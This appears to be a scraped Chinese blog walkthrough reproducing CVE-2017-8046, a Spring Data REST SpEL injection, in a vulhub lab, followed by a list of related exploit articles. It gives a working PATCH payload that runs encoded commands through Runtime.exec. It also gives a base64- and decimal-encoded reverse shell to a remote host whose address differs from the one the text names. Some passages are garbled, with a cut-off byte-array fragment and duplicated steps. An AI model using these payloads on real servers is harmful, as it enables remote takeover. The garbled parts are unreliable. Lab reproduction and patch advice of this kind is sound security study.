Spring Data Rest 远程命令执行漏洞（CVE-2017-8046）

漏洞复现

漏洞说明

Spring Data REST是一个构建在Spring Data之上，为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中（实现RFC6902），path的值被传入setValue，导致执行了SpEL表达式，触发远程命令执行漏洞。

漏洞利用条件和方式

网站使用Spring Data REST提供REST Web服务，且版本在受影响范围内。

漏洞影响范围

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本

漏洞检测

开发人员检查使用的Spring框架是否在受影响版本范围内。

环境搭建

执行如下命令启动漏洞环境：

docker-compose up -d

等待环境启动完成，然后访问http://your-ip:8080/即可看到json格式的返回值，说明这是一个Restful风格的API服务器。

漏洞复现

需要用PATCH方法，而且请求格式为JSON。根据RFC 6902，发送JSON文档结构需要注意以下两点：

1.请求头为Content-Type: application/json-patch+json；
2.需要参数op、路径path，其中op所支持的方法很多，如test，add，replace等，path参数则必须使用斜杠分割。

访问http://your-ip:8080/customers/1，看到一个资源。我们使用PATCH请求来修改之：

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式，发送上述数据包，将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。
(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }表示的命令：open /Applications/Calculator.app。

1、访问http://your-ip:8080/customers/1，看到一个资源。

2、抓包修改GET为PATCH请求，添加请求头为Content-Type: application/json-patch+json；添加命令参数。

Content-Type: application/json-patch+json（必须修改这里）
path的值是SpEL表达式，发送上述数据包，将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。
3、执行后，进入容器docker-compose exec spring bash查看，创建success文件：

4、尝试将bytecode改成反弹shell的命令（注意：Java反弹shell的限制与绕过方式）

执行命令：`bash -i >& /dev/tcp/127.0.0.1/7777 0>& 1`转换：`bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjE5My45Mi8yMjIyIDA+JiAx}|{base64,-d}|{bash,-i}`改成10进制编码：`[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,78,84,65, 117,77,84,85,52,76,106,69,53,77,121,52,53,77,105,56,121,77,106,73,121,73,68,65,43,74,105,65,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastName", "value": "vulhub" }]`

（文后附python转编码的脚本）

5、修改path中的值，发包：

6、反弹成功！

附加：
字符串转ASiiC码

[root@VM_0_9_centos CVE-2017-8046]# vim char.py

import numpy as npstr = 'touch /tmp/success'ascii = np.fromstring(str, dtype=np.uint8)print(ascii)

[root@VM_0_9_centos CVE-2017-8046]# python char.py
[116 111 117  99 104  32  47 116 109 112  47 115 117  99  99 101 115 115]

漏洞修复

升级到以下最新版本：
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3

vulhub中Spring之CVE-2017-8046漏洞复现相关推荐

【vulhub系列】cve-2018-1273S pring Expression Language 漏洞复现
记录一次cve-2018-1273S pring Expression Language 漏洞复现文章目录前言一.环境搭建二.进行漏洞复现前言对于漏洞信息和打开docker就不做步骤了. ...
spring framework远程代码执行漏洞复现（CNVD-2022-23942 CVE-2022-22965）
3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942).攻击者利用该漏洞,可在未授权的情况下远 ...
CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现
目录一.环境搭建 1.下载vulhub 2.启动环境二.漏洞复现 1.使用nmap扫描目标 2.运行POC验证漏洞 3.POC代码三.修复方法一.环境搭建 1.下载vulhub kali系统输 ...
fastjson框架漏洞复现
0x01fastjson介绍 fastjson是阿里巴巴开源的json解析库,通常被用于java object和json字符之间进行转换,提供两个方法json.tojsonstring和json.pa ...
【漏洞复现-discuz-wooyun-命令执行】vulfocus/discuz-wooyun_2010_080723
前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...
tomcat8弱口令漏洞复现与getshell
目录一.环境搭建 1.下载vulhub 2.启动环境二.漏洞复现 1.使用默认用户名密码tomcat:tomcat登录http://your-ip:8080/manager/html 2.上传we ...
Gitlab 任意文件读取漏洞 CVE-2016-9086 漏洞复现
Gitlab 任意文件读取漏洞(CVE-2016-9086) by ADummy 0x00利用路线上传poc.tar.gz文件->读取到etc/passwd 0x01漏洞介绍 2018 ...
vulhub中漏洞复现1
CVE-2018-18778 CVE-2018-18778是基于mini_httpd的一个任意文件读取漏洞 Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的 ...
linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警（CVE–2017–16939）...
0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...

vulhub中Spring之CVE-2017-8046漏洞复现

vulhub中Spring之CVE-2017-8046漏洞复现

Spring Data Rest 远程命令执行漏洞（CVE-2017-8046）

漏洞复现

漏洞说明

漏洞利用条件和方式

漏洞影响范围

漏洞检测

环境搭建

漏洞复现

漏洞修复

vulhub中Spring之CVE-2017-8046漏洞复现相关推荐

最新文章

热门文章